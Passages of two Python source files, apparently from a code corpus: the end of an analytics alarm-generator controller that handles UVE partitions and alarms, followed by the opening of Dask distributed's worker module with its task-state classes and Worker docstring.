self.tab_alarms[table][uve_key]: delete_alarm = \ self.tab_alarms[table][uve_key][dnm].clear_alarms() if delete_alarm: del self.tab_alarms[table][uve_key][dnm] self.send_alarm_update(table, uve_key) # end examine_uve_for_alarms def alarm_config_change_worker(self, partition, alarm_config_change_map): self._logger.debug('Alarm config change worker for partition %d' % (partition)) try: for uve_key, alarm_map in alarm_config_change_map.iteritems(): self._logger.debug('Handle alarm config change for ' '[partition:uve_key:{alarms}] -> [%d:%s:%s]' % (partition, uve_key, str(alarm_map))) uve_type_name = uve_key.split(':', 1) try: if len(uve_type_name) == 1: uves = self.ptab_info[partition][uve_type_name[0]] else: uve = self.ptab_info[partition][uve_type_name[0]]\ [uve_type_name[1]] uves = {uve_type_name[1]: uve} except KeyError: continue else: for name, data in uves.iteritems(): self._logger.debug('process alarm for uve %s' % (name)) self.examine_uve_for_alarms(uve_type_name[0]+':'+name, data.values()) gevent.sleep(0) except Exception as e: self._logger.error('Error in alarm config change worker for ' 'partition %d - %s' % (partition, str(e))) self._logger.error('traceback %s' % (traceback.format_exc())) # end alarm_config_change_worker def alarm_config_change_callback(self, alarm_config_change_map): for table, alarm_map in alarm_config_change_map.iteritems(): try: tamap = self._alarm_config_change_map[table] except KeyError: self._alarm_config_change_map[table] = alarm_map else: tamap.update(alarm_map) # end alarm_config_change_callback def stop_uve_partition(self, part): if not part in self.ptab_info: return for tk in self.ptab_info[part].keys(): for rkey in self.ptab_info[part][tk].keys(): uk = tk + ":" + rkey if tk in self.tab_alarms: if uk in self.tab_alarms[tk]: self.delete_tab_alarms_timer(tk, uk) del self.tab_alarms[tk][uk] ustruct = UVEAlarms(name = rkey, deleted = True) alarm_msg = AlarmTrace(data=ustruct, \ table=tk, sandesh=self._sandesh) self._logger.error('send del alarm for stop: %s' % \ (alarm_msg.log())) alarm_msg.send(sandesh=self._sandesh) del self.ptab_info[part][tk][rkey] self._logger.error("UVE %s deleted in stop" % (uk)) del self.ptab_info[part][tk] del self.ptab_info[part] def delete_tab_alarms_timer(self, tab, uv): """ This function deletes all the timers for given tab,uv combination """ for ak,av in self.tab_alarms[tab][uv].iteritems(): av.delete_timers() def handle_uve_notif(self, part, uves): """ Call this function when a UVE has changed. This can also happed when taking ownership of a partition, or when a generator is deleted. Args: part : Partition Number uve : dict, where the key is the UVE Name. The value is either a dict of UVE structs, or "None", which means that all UVE structs should be processed. Returns: status of operation (True for success) """ self._logger.debug("Changed part %d UVEs : %s" % (part, str(uves))) success = True output = {} uveq_trace = UVEQTrace() uveq_trace.uves = uves.keys() uveq_trace.part = part uveq_trace.oper = "process" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) erruves = [] for uv,types in uves.iteritems(): tab = uv.split(':',1)[0] if tab not in self.tab_perf: self.tab_perf[tab] = AGTabStats() if part in self._uvestats: # Record stats on UVE Keys being processed if not tab in self._uvestats[part]: self._uvestats[part][tab] = {} if uv in self._uvestats[part][tab]: self._uvestats[part][tab][uv] += 1 else: self._uvestats[part][tab][uv] = 1 uve_name = uv.split(':',1)[1] prevt = UTCTimestampUsec() filters = {} if types: filters["cfilt"] = {} for typ in types.keys(): filters["cfilt"][typ] = set() failures, uve_data = self._us.get_uve(uv, True, filters) if failures: erruves.append(uv) success = False self.tab_perf[tab].record_get(UTCTimestampUsec() - prevt) # Handling Agg UVEs if not part in self.ptab_info: self._logger.error("Creating UVE table for part %s" % str(part)) self.ptab_info[part] = {} if not tab in self.ptab_info[part]: self.ptab_info[part][tab] = {} if uve_name not in self.ptab_info[part][tab]: self.ptab_info[part][tab][uve_name] = AGKeyInfo(part) prevt = UTCTimestampUsec() output[uv] = {} touched = False if not types: self.ptab_info[part][tab][uve_name].update(uve_data) if len(self.ptab_info[part][tab][uve_name].removed()): touched = True rset = self.ptab_info[part][tab][uve_name].removed() self._logger.info("UVE %s removed structs %s" % (uv, rset)) uveq_trace = UVEQTrace() uveq_trace.uves = [uv + "-" + str(rset)] uveq_trace.part = part uveq_trace.oper = "remove" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) for rems in self.ptab_info[part][tab][uve_name].removed(): output[uv][rems] = None if len(self.ptab_info[part][tab][uve_name].changed()): touched = True self._logger.debug("UVE %s changed structs %s" % (uv, \ self.ptab_info[part][tab][uve_name].changed())) for chgs in self.ptab_info[part][tab][uve_name].changed(): output[uv][chgs] = \ self.ptab_info[part][tab][uve_name].values()[chgs] if len(self.ptab_info[part][tab][uve_name].added()): touched = True self._logger.debug("UVE %s added structs %s" % (uv, \ self.ptab_info[part][tab][uve_name].added())) for adds in self.ptab_info[part][tab][uve_name].added(): output[uv][adds] = \ self.ptab_info[part][tab][uve_name].values()[adds] else: for typ in types: val = None if typ in uve_data: val = uve_data[typ] self.ptab_info[part][tab][uve_name].update_single(typ, val) if len(self.ptab_info[part][tab][uve_name].removed()): touched = True rset = self.ptab_info[part][tab][uve_name].removed() self._logger.info("UVE %s removed structs %s" % (uv, rset)) uveq_trace = UVEQTrace() uveq_trace.uves = [uv + "-" + str(rset)] uveq_trace.part = part uveq_trace.oper = "remove" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) for rems in self.ptab_info[part][tab][uve_name].removed(): output[uv][rems] = None if len(self.ptab_info[part][tab][uve_name].changed()): touched = True self._logger.debug("UVE %s changed structs %s" % (uve_name, \ self.ptab_info[part][tab][uve_name].changed())) for chgs in self.ptab_info[part][tab][uve_name].changed(): output[uv][chgs] = \ self.ptab_info[part][tab][uve_name].values()[chgs] if len(self.ptab_info[part][tab][uve_name].added()): touched = True self._logger.debug("UVE %s added structs %s" % (uve_name, \ self.ptab_info[part][tab][uve_name].added())) for adds in self.ptab_info[part][tab][uve_name].added(): output[uv][adds] = \ self.ptab_info[part][tab][uve_name].values()[adds] if not touched: del output[uv] local_uve = self.ptab_info[part][tab][uve_name].values() self.tab_perf[tab].record_pub(UTCTimestampUsec() - prevt) if len(local_uve.keys()) == 0: self._logger.info("UVE %s deleted in proc" % (uv)) del self.ptab_info[part][tab][uve_name] output[uv] = None if tab in self.tab_alarms: if uv in self.tab_alarms[tab]: del_types = [] for nm, asm in self.tab_alarms[tab][uv].iteritems(): delete_alarm = \ self.tab_alarms[tab][uv][nm].clear_alarms() if delete_alarm: del_types.append(nm) for nm in del_types: del self.tab_alarms[tab][uv][nm] self.send_alarm_update(tab, uv) # Both alarm and non-alarm contents are gone. # We do not need to do alarm evaluation continue # Withdraw the alarm if the UVE has no non-alarm structs if len(local_uve.keys()) == 1 and "UVEAlarms" in local_uve: if tab in self.tab_alarms: if uv in self.tab_alarms[tab]: self._logger.info("UVE %s has no non-alarm" % (uv)) del_types = [] for nm, asm in self.tab_alarms[tab][uv].iteritems(): delete_alarm = \ self.tab_alarms[tab][uv][nm].clear_alarms() if delete_alarm: del_types.append(nm) for nm in del_types: del self.tab_alarms[tab][uv][nm] self.send_alarm_update(tab, uv) continue # Examine UVE to check if alarm need to be raised/deleted self.examine_uve_for_alarms(uv, local_uve) if success: uveq_trace = UVEQTrace() uveq_trace.uves = output.keys() uveq_trace.part = part uveq_trace.oper = "proc-output" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) return output else: uveq_trace = UVEQTrace() uveq_trace.uves = erruves uveq_trace.part = part uveq_trace.oper = "proc-error" uveq_trace.trace_msg(name="UVEQTrace",\ sandesh=self._sandesh) return None def handle_UVETableInfoReq(self, req): if req.partition == -1: parts = self.ptab_info.keys() else: parts = [req.partition] self._logger.info("Got UVETableInfoReq : %s" % str(parts)) np = 1 for part in parts: if part not in self.ptab_info: continue tables = [] for tab in self.ptab_info[part].keys(): uvel = [] for uk,uv in self.ptab_info[part][tab].iteritems(): types = [] for tk,tv in uv.values().iteritems(): types.append(UVEStructInfo(type = tk, content = json.dumps(tv))) uvel.append(UVEObjectInfo( name = uk, structs = types)) tables.append(UVETableInfo(table = tab, uves = uvel)) resp = UVETableInfoResp(partition = part) resp.tables = tables if np == len(parts): mr = False else: mr = True resp.response(req.context(), mr) np = np + 1 def handle_UVETableAlarmReq(self, req): status = False if req.table == "all": parts = self.tab_alarms.keys() else: parts = [req.table] self._logger.info("Got UVETableAlarmReq : %s" % str(parts)) np = 1 for pt in parts: resp = UVETableAlarmResp(table = pt) uves = [] for uk,uv in self.tab_alarms[pt].iteritems(): for ak,av in uv.iteritems(): alm_copy = [] uai = av.get_uai(forced=True) if uai: alm_copy.append(copy.deepcopy(uai)) uves.append(UVEAlarmStateMachineInfo( uai = UVEAlarms(name = uk, alarms = alm_copy), uac = av.get_uac(), uas = av.get_uas())) resp.uves = uves if np == len(parts): mr = False else: mr = True resp.response(req.context(), mr) np = np + 1 def handle_UVETablePerfReq(self, req): status = False if req.table == "all": parts = self.tab_perf_prev.keys() else: parts = [req.table] self._logger.info("Got UVETablePerfReq : %s" % str(parts)) np = 1 for pt in parts: resp = UVETablePerfResp(table = pt) resp.call_time = self.tab_perf_prev[pt].call_result() resp.get_time = self.tab_perf_prev[pt].get_result() resp.pub_time = self.tab_perf_prev[pt].pub_result() resp.updates = self.tab_perf_prev[pt].get_n if np == len(parts): mr = False else: mr = True resp.response(req.context(), mr) np = np + 1 def partition_change(self, partno, enl): """ Call this function when getting or giving up ownership of a partition Args: partno : Partition Number enl : True for acquiring, False for giving up Returns: status of operation (True for success) """ status = False if enl: if partno in self._workers: self._logger.info("Dup partition %d" % partno) else: cdisc = None if self.disc: cdisc = client.DiscoveryClient( self._conf.discovery()['server'], self._conf.discovery()['port'], ModuleNames[Module.ALARM_GENERATOR], '%s-%s-%d' % (self._hostname, self._instance_id, partno)) ph = UveStreamProc(','.join(self._conf.kafka_broker_list()), partno, self._conf.kafka_prefix()+"-uve-" + str(partno), self._logger, self.handle_uve_notifq, self._conf.host_ip(), self.handle_resource_check, self._instance_id, self._conf.redis_server_port(), self._conf.kafka_prefix()+"-workers") ph.start() self._workers[partno] = ph self._uvestats[partno] = {} tout = 1200 idx = 0 while idx < tout: # When this partitions starts, # uveq will get created if partno not in self._uveq: gevent.sleep(.1) else: break idx += 1 if partno in self._uveq: status = True else: # TODO: The partition has not started yet, # but it still might start later. # We possibly need to exit status = False self._logger.error("Unable to start partition %d" % partno) else: if partno in self._workers: ph = self._workers[partno] self._logger.error("Kill part %s" % str(partno)) ph.kill(timeout=60) try: res,db = ph.get(False) except gevent.Timeout: self._logger.error("Unable to kill partition %d" % partno) return False self._logger.error("Returned " + str(res)) self._uveqf[partno] = self._workers[partno].acq_time() del self._workers[partno] del self._uvestats[partno] tout = 1200 idx = 0 while idx < tout: # When this partitions stop.s # uveq will get destroyed if partno in self._uveq: gevent.sleep(.1) else: break idx += 1 if partno not in self._uveq: status = True else: # TODO: The partition has not stopped yet # but it still might stop later. # We possibly need to exit status = False self._logger.error("Unable to stop partition %d" % partno) else: self._logger.info("No partition %d" % partno) return status def handle_PartitionOwnershipReq(self, req): self._logger.info("Got PartitionOwnershipReq: %s" % str(req)) status = self.partition_change(req.partition, req.ownership) resp = PartitionOwnershipResp() resp.status = status resp.response(req.context()) def process_stats(self): ''' Go through the UVEKey-Count stats collected over the previous time period over all partitions and send it out ''' self.tab_perf_prev = copy.deepcopy(self.tab_perf) for kt in self.tab_perf.keys(): #self.tab_perf_prev[kt] = copy.deepcopy(self.tab_perf[kt]) self.tab_perf[kt].reset() s_partitions = set() s_keys = set() n_updates = 0 for pk,pc in self._workers.iteritems(): s_partitions.add(pk) din = pc.stats() dout = copy.deepcopy(self._uvestats[pk]) self._uvestats[pk] = {} for ktab,tab in dout.iteritems(): utct = UVETableCount() utct.keys = 0 utct.count = 0 for uk,uc in tab.iteritems(): s_keys.add(uk) n_updates += uc utct.keys += 1 utct.count += uc au_obj = AlarmgenUpdate(name=self._sandesh._source + ':' + \ self._sandesh._node_type + ':' + \ self._sandesh._module + ':' + \ self._sandesh._instance_id, partition = pk, table = ktab, o = utct, i = None, sandesh=self._sandesh) self._logger.debug('send output stats: %s' % (au_obj.log())) au_obj.send(sandesh=self._sandesh) for ktab,tab in din.iteritems(): au_notifs = [] for kcoll,coll in tab.iteritems(): for kgen,gen in coll.iteritems(): for tk,tc in gen.iteritems(): tkc = UVETypeInfo() tkc.type= tk tkc.count = tc tkc.generator = kgen tkc.collector = kcoll au_notifs.append(tkc) au_obj = AlarmgenUpdate(name=self._sandesh._source + ':' + \ self._sandesh._node_type + ':' + \ self._sandesh._module + ':' + \ self._sandesh._instance_id, partition = pk, table = ktab, o = None, i = au_notifs, sandesh=self._sandesh) self._logger.debug('send input stats: %s' % (au_obj.log())) au_obj.send(sandesh=self._sandesh) au = AlarmgenStatus() au.name = self._hostname au.counters = [] au.alarmgens = [] ags = AlarmgenStats() ags.instance = self._instance_id ags.partitions = len(s_partitions) ags.keys = len(s_keys) ags.updates = n_updates au.counters.append(ags) agname = self._sandesh._source + ':' + \ self._sandesh._node_type + ':' + \ self._sandesh._module + ':' + \ self._sandesh._instance_id au.alarmgens.append(agname) atrace = AlarmgenStatusTrace(data = au, sandesh = self._sandesh) self._logger.debug('send alarmgen status : %s' % (atrace.log())) atrace.send(sandesh=self._sandesh) def handle_PartitionStatusReq(self, req): ''' Return the entire contents of the UVE DB for the requested partitions ''' if req.partition == -1: parts = self._workers.keys() else: parts = [req.partition] self._logger.info("Got PartitionStatusReq: %s" % str(parts)) np = 1 for pt in parts: resp = PartitionStatusResp() resp.partition = pt if self._workers.has_key(pt): resp.enabled = True resp.offset = self._workers[pt]._partoffset resp.uves = [] for kcoll,coll in self._workers[pt].contents().iteritems(): uci = UVECollInfo() uci.collector = kcoll uci.uves = [] for kgen,gen in coll.iteritems(): ugi = UVEGenInfo() ugi.generator = kgen ugi.uves = [] for tabk,tabc in gen.iteritems(): for uk,uc in tabc.iteritems(): ukc = UVEKeyInfo() ukc.key = tabk + ":" + uk ukc.types = [] for tk,tc in uc.iteritems(): uvtc = UVETypeCount() uvtc.type = tk uvtc.count = tc["c"] uvtc.agg_uuid = str(tc["u"]) ukc.types.append(uvtc) ugi.uves.append(ukc) uci.uves.append(ugi) resp.uves.append(uci) else: resp.enabled = False if np == len(parts): mr = False else: mr = True resp.response(req.context(), mr) np = np + 1 def alarm_ack_callback(self, alarm_req): ''' Callback function for sandesh alarm acknowledge request. This method is passed as a parameter in the init_generator(). Upon receiving the SandeshAlarmAckRequest, the corresponding handler defined in the sandesh library would invoke this callback. This function returns one of the response codes defined in SandeshAlarmAckResponseCode. ''' self._logger.debug('Alarm acknowledge request callback: %s' % str(alarm_req)) table = alarm_req.table uname = alarm_req.table+':'+alarm_req.name atype = alarm_req.type try: alarm_type = \ self.tab_alarms[table][uname][atype].get_uai() except KeyError: return SandeshAlarmAckResponseCode.ALARM_NOT_PRESENT else: # Either alarm is not present ot it is not in Active or Soak_Idle # state if alarm_type is None: return SandeshAlarmAckResponseCode.ALARM_NOT_PRESENT # Either the timestamp sent by the client is invalid or # the alarm is updated. if alarm_type.timestamp != alarm_req.timestamp: return SandeshAlarmAckResponseCode.INVALID_ALARM_REQUEST # If the alarm was already acknowledged, just return SUCCESS. if alarm_type.ack: return SandeshAlarmAckResponseCode.SUCCESS # All sanity checks passed. Acknowledge the alarm. alarm_type.ack = True alarm = [] for nm, asm in self.tab_alarms[table][uname].iteritems(): uai = asm.get_uai() if uai: alarm.append(copy.deepcopy(uai)) alarm_data = UVEAlarms(name=alarm_req.name, alarms=alarm) alarm_sandesh = AlarmTrace(data=alarm_data, table=table, sandesh=self._sandesh) alarm_sandesh.send(sandesh=self._sandesh) return SandeshAlarmAckResponseCode.SUCCESS # end alarm_ack_callback def disc_cb_coll(self, clist): ''' Analytics node may be brought up/down any time. For UVE aggregation, alarmgen needs to know the list of all Analytics nodes (redis-uves). Periodically poll the Collector list [in lieu of redi-uve nodes] from the discovery. ''' self._logger.error("Discovery Collector callback : %s" % str(clist)) newlist = [] for elem in clist: ipaddr = elem["ip-address"] cpid = 0 if "pid" in elem: cpid = int(elem["pid"]) newlist.append((ipaddr, self._conf.redis_server_port(), cpid)) self._us.update_redis_uve_list(newlist) def disc_cb_ag(self, alist): ''' Analytics node may be brought up/down any time. For partitioning, alarmgen needs to know the list of all Analytics nodes (alarmgens). Periodically poll the alarmgen list from the discovery service ''' self._logger.error("Discovery AG callback : %s" % str(alist)) newlist = [] for elem in alist: ipaddr = elem["ip-address"] inst = elem["instance-id"] newlist.append(ipaddr + ":" + inst) # We should always include ourselves in the list of memebers newset = set(newlist) newset.add(self._libpart_name) newlist = list(newset) if not self._libpart: self._libpart = self.start_libpart(newlist) else: self._libpart.update_cluster_list(newlist) def run_cpu_mon(self): alarmgen_cpu_info = CpuInfoData() while True: before = time.time() mod_cpu_info = ModuleCpuInfo() mod_cpu_info.module_id = self._moduleid mod_cpu_info.instance_id = self._instance_id mod_cpu_info.cpu_info = alarmgen_cpu_info.get_cpu_info( system=False) mod_cpu_state = ModuleCpuState() mod_cpu_state.name = self._hostname mod_cpu_state.module_cpu_info = [mod_cpu_info] alarmgen_cpu_state_trace = ModuleCpuStateTrace(\ data=mod_cpu_state, sandesh = self._sandesh) alarmgen_cpu_state_trace.send(sandesh=self._sandesh) aly_cpu_state = AnalyticsCpuState() aly_cpu_state.name = self._hostname aly_cpu_info = ProcessCpuInfo() aly_cpu_info.module_id= self._moduleid aly_cpu_info.inst_id = self._instance_id aly_cpu_info.cpu_share = mod_cpu_info.cpu_info.cpu_share aly_cpu_info.mem_virt = mod_cpu_info.cpu_info.meminfo.virt aly_cpu_info.mem_res = mod_cpu_info.cpu_info.meminfo.res aly_cpu_state.cpu_info = [aly_cpu_info] aly_cpu_state_trace = AnalyticsCpuStateTrace(\ data=aly_cpu_state, sandesh = self._sandesh) aly_cpu_state_trace.send(sandesh=self._sandesh) # Send out the UVEKey-Count stats for this time period self.process_stats() duration = time.time() - before if duration < 60: gevent.sleep(60 - duration) else: self._logger.error("Periodic collection took %s sec" % duration) def run(self): self.gevs = [ gevent.spawn(self.run_cpu_mon), gevent.spawn(self.run_uve_processing)] if self.disc: sp1 = ServicePoller(self._logger, CollectorTrace, self.disc, COLLECTOR_DISCOVERY_SERVICE_NAME, self.disc_cb_coll, self._sandesh) sp1.start() self.gevs.append(sp1) sp2 = ServicePoller(self._logger, AlarmgenTrace, self.disc, ALARM_GENERATOR_SERVICE_NAME, self.disc_cb_ag, self._sandesh) sp2.start() self.gevs.append(sp2) try: gevent.joinall(self.gevs) except KeyboardInterrupt: print 'AlarmGen Exiting on ^C' except gevent.GreenletExit: self._logger.error('AlarmGen Exiting on gevent-kill') except: raise finally: self._logger.error('AlarmGen stopping everything') self.stop() exit() def stop(self): self._sandesh._client._connection.set_admin_state(down=True) self._sandesh.uninit() if self._config_handler: self._config_handler.stop() l = len(self.gevs) for idx in range(0,l): self._logger.error('AlarmGen killing %d of %d' % (idx+1, l)) self.gevs[0].kill() self._logger.error('AlarmGen joining %d of %d' % (idx+1, l)) self.gevs[0].join() self._logger.error('AlarmGen stopped %d of %d' % (idx+1, l)) self.gevs = self.gevs[1:] def sigterm_handler(self): self.stop() exit() def setup_controller(argv): config = CfgParser(argv) config.parse() return Controller(config) def main(args=None): controller = setup_controller(args or ' '.join(sys.argv[1:])) gevent.hub.signal(signal.SIGTERM, controller.sigterm_handler) gv = gevent.getcurrent() gv._main_obj = controller controller.run() if __name__ == '__main__': main()
codeparrot/github-code-clean
from __future__ import annotations import asyncio import bisect import builtins import errno import heapq import logging import os import random import sys import threading import warnings import weakref from collections import defaultdict, deque from collections.abc import ( Callable, Collection, Container, Iterable, Iterator, Mapping, MutableMapping, ) from concurrent.futures import Executor from contextlib import suppress from datetime import timedelta from inspect import isawaitable from pickle import PicklingError from typing import TYPE_CHECKING, Any, ClassVar, Literal, NamedTuple, TypedDict, cast from tlz import first, keymap, merge, pluck # noqa: F401 from tornado.ioloop import IOLoop, PeriodicCallback import dask from dask.core import istask from dask.system import CPU_COUNT from dask.utils import ( apply, format_bytes, funcname, parse_bytes, parse_timedelta, stringify, typename, ) from . import comm, preloading, profile, system, utils from .batched import BatchedSend from .comm import Comm, connect, get_address_host from .comm.addressing import address_from_user_args, parse_address from .comm.utils import OFFLOAD_THRESHOLD from .compatibility import to_thread from .core import ( CommClosedError, Status, coerce_to_address, error_message, pingpong, send_recv, ) from .diagnostics import nvml from .diagnostics.plugin import _get_plugin_name from .diskutils import WorkDir, WorkSpace from .http import get_handlers from .metrics import time from .node import ServerNode from .proctitle import setproctitle from .protocol import pickle, to_serialize from .pubsub import PubSubWorkerExtension from .security import Security from .shuffle import ShuffleWorkerExtension from .sizeof import safe_sizeof as sizeof from .threadpoolexecutor import ThreadPoolExecutor from .threadpoolexecutor import secede as tpe_secede from .utils import ( LRU, TimeoutError, _maybe_complex, get_ip, has_arg, import_file, in_async_call, iscoroutinefunction, json_load_robust, key_split, log_errors, offload, parse_ports, recursive_to_dict, silence_logging, thread_state, warn_on_duration, ) from .utils_comm import gather_from_workers, pack_data, retry_operation from .utils_perf import ThrottledGC, disable_gc_diagnosis, enable_gc_diagnosis from .versions import get_versions if TYPE_CHECKING: from typing_extensions import TypeAlias from .actor import Actor from .client import Client from .diagnostics.plugin import WorkerPlugin from .nanny import Nanny # {TaskState -> finish: str | (finish: str, *args)} Recs: TypeAlias = "dict[TaskState, str | tuple]" Smsgs: TypeAlias = "list[dict[str, Any]]" logger = logging.getLogger(__name__) LOG_PDB = dask.config.get("distributed.admin.pdb-on-err") no_value = "--no-value-sentinel--" # TaskState.state subsets PROCESSING = { "waiting", "ready", "constrained", "executing", "long-running", "cancelled", "resumed", } READY = {"ready", "constrained"} DEFAULT_EXTENSIONS: list[type] = [PubSubWorkerExtension, ShuffleWorkerExtension] DEFAULT_METRICS: dict[str, Callable[[Worker], Any]] = {} DEFAULT_STARTUP_INFORMATION: dict[str, Callable[[Worker], Any]] = {} DEFAULT_DATA_SIZE = parse_bytes( dask.config.get("distributed.scheduler.default-data-size") ) class SerializedTask(NamedTuple): function: Callable args: tuple kwargs: dict[str, Any] task: object # distributed.scheduler.TaskState.run_spec class StartStop(TypedDict, total=False): action: str start: float stop: float source: str # optional class InvalidTransition(Exception): pass class TaskState: """Holds volatile state relating to an individual Dask task * **dependencies**: ``set(TaskState instances)`` The data needed by this key to run * **dependents**: ``set(TaskState instances)`` The keys that use this dependency. * **duration**: ``float`` Expected duration the a task * **priority**: ``tuple`` The priority this task given by the scheduler. Determines run order. * **state**: ``str`` The current state of the task. One of ["waiting", "ready", "executing", "fetch", "memory", "flight", "long-running", "rescheduled", "error"] * **who_has**: ``set(worker)`` Workers that we believe have this data * **coming_from**: ``str`` The worker that current task data is coming from if task is in flight * **waiting_for_data**: ``set(keys of dependencies)`` A dynamic version of dependencies. All dependencies that we still don't have for a particular key. * **resource_restrictions**: ``{str: number}`` Abstract resources required to run a task * **exception**: ``str`` The exception caused by running a task if it erred * **traceback**: ``str`` The exception caused by running a task if it erred * **type**: ``type`` The type of a particular piece of data * **suspicious_count**: ``int`` The number of times a dependency has not been where we expected it * **startstops**: ``[{startstop}]`` Log of transfer, load, and compute times for a task * **start_time**: ``float`` Time at which task begins running * **stop_time**: ``float`` Time at which task finishes running * **metadata**: ``dict`` Metadata related to task. Stored metadata should be msgpack serializable (e.g. int, string, list, dict). * **nbytes**: ``int`` The size of a particular piece of data * **annotations**: ``dict`` Task annotations Parameters ---------- key: str run_spec: SerializedTask A named tuple containing the ``function``, ``args``, ``kwargs`` and ``task`` associated with this `TaskState` instance. This defaults to ``None`` and can remain empty if it is a dependency that this worker will receive from another worker. """ key: str run_spec: SerializedTask | None dependencies: set[TaskState] dependents: set[TaskState] duration: float | None priority: tuple[int, ...] | None state: str who_has: set[str] coming_from: str | None waiting_for_data: set[TaskState] waiters: set[TaskState] resource_restrictions: dict[str, float] exception: Exception | None exception_text: str | None traceback: object | None traceback_text: str | None type: type | None suspicious_count: int startstops: list[StartStop] start_time: float | None stop_time: float | None metadata: dict nbytes: float | None annotations: dict | None done: bool _previous: str | None _next: str | None def __init__(self, key: str, run_spec: SerializedTask | None = None): assert key is not None self.key = key self.run_spec = run_spec self.dependencies = set() self.dependents = set() self.duration = None self.priority = None self.state = "released" self.who_has = set() self.coming_from = None self.waiting_for_data = set() self.waiters = set() self.resource_restrictions = {} self.exception = None self.exception_text = "" self.traceback = None self.traceback_text = "" self.type = None self.suspicious_count = 0 self.startstops = [] self.start_time = None self.stop_time = None self.metadata = {} self.nbytes = None self.annotations = None self.done = False self._previous = None self._next = None def __repr__(self) -> str: return f"<TaskState {self.key!r} {self.state}>" def get_nbytes(self) -> int: nbytes = self.nbytes return nbytes if nbytes is not None else DEFAULT_DATA_SIZE def _to_dict_no_nest(self, *, exclude: Container[str] = ()) -> dict: """Dictionary representation for debugging purposes. Not type stable and not intended for roundtrips. See also -------- Client.dump_cluster_state distributed.utils.recursive_to_dict Notes ----- This class uses ``_to_dict_no_nest`` instead of ``_to_dict``. When a task references another task, just print the task repr. All tasks should neatly appear under Worker.tasks. This also prevents a RecursionError during particularly heavy loads, which have been observed to happen whenever there's an acyclic dependency chain of ~200+ tasks. """ return recursive_to_dict(self, exclude=exclude, members=True) def is_protected(self) -> bool: return self.state in PROCESSING or any( dep_ts.state in PROCESSING for dep_ts in self.dependents ) class UniqueTaskHeap(Collection): """A heap of TaskState objects ordered by TaskState.priority Ties are broken by string comparison of the key. Keys are guaranteed to be unique. Iterating over this object returns the elements in priority order. """ def __init__(self, collection: Collection[TaskState] = ()): self._known = {ts.key for ts in collection} self._heap = [(ts.priority, ts.key, ts) for ts in collection] heapq.heapify(self._heap) def push(self, ts: TaskState) -> None: """Add a new TaskState instance to the heap. If the key is already known, no object is added. Note: This does not update the priority / heap order in case priority changes. """ assert isinstance(ts, TaskState) if ts.key not in self._known: heapq.heappush(self._heap, (ts.priority, ts.key, ts)) self._known.add(ts.key) def pop(self) -> TaskState: """Pop the task with highest priority from the heap.""" _, key, ts = heapq.heappop(self._heap) self._known.remove(key) return ts def peek(self) -> TaskState: """Get the highest priority TaskState without removing it from the heap""" return self._heap[0][2] def __contains__(self, x: object) -> bool: if isinstance(x, TaskState): x = x.key return x in self._known def __iter__(self) -> Iterator[TaskState]: return (ts for _, _, ts in sorted(self._heap)) def __len__(self) -> int: return len(self._known) def __repr__(self) -> str: return f"<{type(self).__name__}: {len(self)} items>" class Worker(ServerNode): """Worker node in a Dask distributed cluster Workers perform two functions: 1. **Serve data** from a local dictionary 2. **Perform computation** on that data and on data from peers Workers keep the scheduler informed of their data and use that scheduler to gather data from other workers when necessary to perform a computation. You can start a worker with the ``dask-worker`` command line application:: $ dask-worker scheduler-ip:port Use the ``--help`` flag to see more options:: $ dask-worker --help The rest of this docstring is about the internal state the the worker uses to manage and track internal computations. **State** **Informational State** These attributes don't change significantly during execution. * **nthreads:** ``int``: Number of nthreads used by this worker process * **executors:** ``dict[str, concurrent.futures.Executor]``: Executors used to perform computation. Always contains the default executor. * **local_directory:** ``path``: Path on local machine to store temporary files * **scheduler:** ``rpc``: Location of scheduler. See ``.ip/.port`` attributes. * **name:** ``string``: Alias * **services:** ``{str: Server}``: Auxiliary web servers running on this worker * **service_ports:** ``{str: port}``: * **total_out_connections**: ``int`` The maximum number of concurrent outgoing requests for data * **total_in_connections**: ``int`` The maximum number of concurrent incoming requests for data * **comm_threshold_bytes**: ``int`` As long as the total number of bytes in flight is below this threshold we will not limit the number of outgoing connections for a single tasks dependency fetch. * **batched_stream**: ``BatchedSend`` A batched stream along which we communicate to the scheduler * **log**: ``[(message)]`` A structured and queryable log. See ``Worker.story`` **Volatile State** These attributes track the progress of tasks that this worker is trying to complete. In the descriptions below a ``key`` is the name of a task that we want to compute and ``dep`` is the name of a piece of dependent data that we want to collect from others. * **tasks**: ``{key: TaskState}`` The tasks currently executing on this worker (and any dependencies of those tasks) * **data:** ``{key: object}``: Prefer using the **host** attribute instead of this, unless memory_limit and at least one of memory_target_fraction or memory_spill_fraction values are defined, in that case, this attribute is a zict.Buffer, from which information on LRU cache can be queried. * **data.memory:** ``{key: object}``: Dictionary mapping keys to actual values stored in memory. Only available if condition for **data** being a zict.Buffer is met. * **data.disk:** ``{key: object}``: Dictionary mapping keys to actual values stored on disk. Only available if condition for **data** being a zict.Buffer is met. * **data_needed**: UniqueTaskHeap The tasks which still require data in order to execute, prioritized as a heap * **ready**: [keys] Keys that are ready to run. Stored in a LIFO stack * **constrained**: [keys] Keys for which we have the data to run, but are waiting on abstract resources like GPUs. Stored in a FIFO deque * **executing_count**: ``int`` A count of tasks currently executing on this worker * **executed_count**: int A number of tasks that this worker has run in its lifetime * **long_running**: {keys} A set of keys of tasks that are running and have started their own long-running clients. * **has_what**: ``{worker: {deps}}`` The data that we care about that we think a worker has * **pending_data_per_worker**: ``{worker: UniqueTaskHeap}`` The data on each worker that we still want, prioritized as a heap * **in_flight_tasks**: ``int`` A count of the number of tasks that are coming to us in current peer-to-peer connections * **in_flight_workers**: ``{worker: {task}}`` The workers from which we are currently gathering data and the dependencies we expect from those connections * **comm_bytes**: ``int`` The total number of bytes in flight * **threads**: ``{key: int}`` The ID of the thread on which the task ran * **active_threads**: ``{int: key}`` The keys currently running on active threads * **waiting_for_data_count**: ``int`` A count of how many tasks are currently waiting for data * **generation**: ``int`` Counter that decreases every time the compute-task handler is invoked by the Scheduler. It is appended to TaskState.priority and acts as a tie-breaker between tasks that have the same priority on the Scheduler, determining a last-in-first-out order between them. Parameters ---------- scheduler_ip: str, optional scheduler_port: int, optional scheduler_file: str, optional ip: str, optional data: MutableMapping, type, None The object to use for storage, builds a disk-backed LRU dict by default nthreads: int, optional loop: tornado.ioloop.IOLoop local_directory: str, optional Directory where we place local resources name: str, optional 